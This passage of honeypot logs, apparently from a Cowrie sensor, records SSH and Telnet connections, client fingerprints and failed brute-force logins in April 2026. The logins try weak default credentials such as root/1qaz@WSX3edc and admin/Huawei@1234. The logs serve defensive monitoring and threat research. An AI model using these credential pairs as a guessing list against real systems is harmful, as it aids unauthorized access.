":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:10.617449Z","src_ip":"192.109.200.78","session":"c318b677cf75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:10.940974Z","src_ip":"192.109.200.78","session":"c318b677cf75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:12.028922Z","src_ip":"192.109.200.78","session":"c318b677cf75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":55412,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ce856645a9","protocol":"telnet","message":"New connection: 5.42.229.203:55412 (159.203.135.109:23) [session: 32ce856645a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:12.685174Z"}
{"eventid":"cowrie.session.closed","duration":30.4294753074646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:14.278344Z","src_ip":"154.0.174.194","session":"3d272f48ae27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36140,"dst_ip":"10.17.0.5","dst_port":22,"session":"b118009c578d","protocol":"ssh","message":"New connection: 192.109.200.78:36140 (10.17.0.5:22) [session: b118009c578d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:14.584294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:14.590088Z","src_ip":"192.109.200.78","session":"b118009c578d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:14.673922Z","src_ip":"192.109.200.78","session":"b118009c578d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:14.920027Z","src_ip":"192.109.200.78","session":"b118009c578d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50830,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec3ada4ce8e","protocol":"ssh","message":"New connection: 159.203.92.129:50830 (159.203.135.109:22) [session: dec3ada4ce8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:15.515514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:15.537931Z","src_ip":"159.203.92.129","session":"dec3ada4ce8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:15.552344Z","src_ip":"159.203.92.129","session":"dec3ada4ce8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Huawei@1234","message":"login attempt [admin/Huawei@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:15.637823Z","src_ip":"159.203.92.129","session":"dec3ada4ce8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:16.007430Z","src_ip":"192.109.200.78","session":"b118009c578d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40626,"dst_ip":"159.203.135.109","dst_port":23,"session":"38da4e30dd8f","protocol":"telnet","message":"New connection: 206.189.71.75:40626 (159.203.135.109:23) [session: 38da4e30dd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:16.300027Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:16.645362Z","src_ip":"159.203.92.129","session":"dec3ada4ce8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39910,"dst_ip":"10.17.0.5","dst_port":22,"session":"c24bc804115e","protocol":"ssh","message":"New connection: 192.109.200.78:39910 (10.17.0.5:22) [session: c24bc804115e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:18.603457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:18.606872Z","src_ip":"192.109.200.78","session":"c24bc804115e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:18.692766Z","src_ip":"192.109.200.78","session":"c24bc804115e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:18.941965Z","src_ip":"192.109.200.78","session":"c24bc804115e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:20.034680Z","src_ip":"192.109.200.78","session":"c24bc804115e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39926,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3602032d75c","protocol":"ssh","message":"New connection: 192.109.200.78:39926 (10.17.0.5:22) [session: d3602032d75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:22.584488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:22.589342Z","src_ip":"192.109.200.78","session":"d3602032d75c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"da75949ded84","protocol":"telnet","message":"New connection: 154.0.174.194:49368 (10.17.0.5:23) [session: da75949ded84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:22.723573Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:22.777849Z","src_ip":"192.109.200.78","session":"d3602032d75c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.80584168434143,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:22.784446Z","src_ip":"206.189.71.75","session":"9d35ba10cda8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:23.109206Z","src_ip":"192.109.200.78","session":"d3602032d75c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:24.196570Z","src_ip":"192.109.200.78","session":"d3602032d75c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":35028,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f729da5995d","protocol":"telnet","message":"New connection: 154.0.174.194:35028 (10.17.0.5:23) [session: 9f729da5995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:24.643930Z"}
{"eventid":"cowrie.session.closed","duration":37.90307569503784,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:25.006384Z","src_ip":"206.189.71.75","session":"7f643b7f386b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39944,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fbe45f36d63","protocol":"ssh","message":"New connection: 192.109.200.78:39944 (10.17.0.5:22) [session: 1fbe45f36d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:26.708881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:26.717808Z","src_ip":"192.109.200.78","session":"1fbe45f36d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:26.804815Z","src_ip":"192.109.200.78","session":"1fbe45f36d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:27.070280Z","src_ip":"192.109.200.78","session":"1fbe45f36d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:28.156030Z","src_ip":"192.109.200.78","session":"1fbe45f36d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":34580,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50a57629936","protocol":"telnet","message":"New connection: 5.42.229.203:34580 (159.203.135.109:23) [session: e50a57629936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:28.485127Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":36152,"dst_ip":"159.203.135.109","dst_port":23,"session":"395c31ec918e","protocol":"telnet","message":"New connection: 5.42.229.203:36152 (159.203.135.109:23) [session: 395c31ec918e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:31.884112Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38286,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d976640517","protocol":"ssh","message":"New connection: 192.109.200.78:38286 (10.17.0.5:22) [session: 51d976640517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:31.918391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:31.923285Z","src_ip":"192.109.200.78","session":"51d976640517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:32.015096Z","src_ip":"192.109.200.78","session":"51d976640517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:32.267120Z","src_ip":"192.109.200.78","session":"51d976640517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:33.422749Z","src_ip":"192.109.200.78","session":"51d976640517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38290,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e3b4a49b176","protocol":"ssh","message":"New connection: 192.109.200.78:38290 (10.17.0.5:22) [session: 2e3b4a49b176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:34.936536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:34.941289Z","src_ip":"192.109.200.78","session":"2e3b4a49b176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:35.023837Z","src_ip":"192.109.200.78","session":"2e3b4a49b176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:35.274992Z","src_ip":"192.109.200.78","session":"2e3b4a49b176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:36.360126Z","src_ip":"192.109.200.78","session":"2e3b4a49b176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37642,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a0bf3287bc3","protocol":"ssh","message":"New connection: 192.109.200.78:37642 (10.17.0.5:22) [session: 9a0bf3287bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:39.096720Z"}
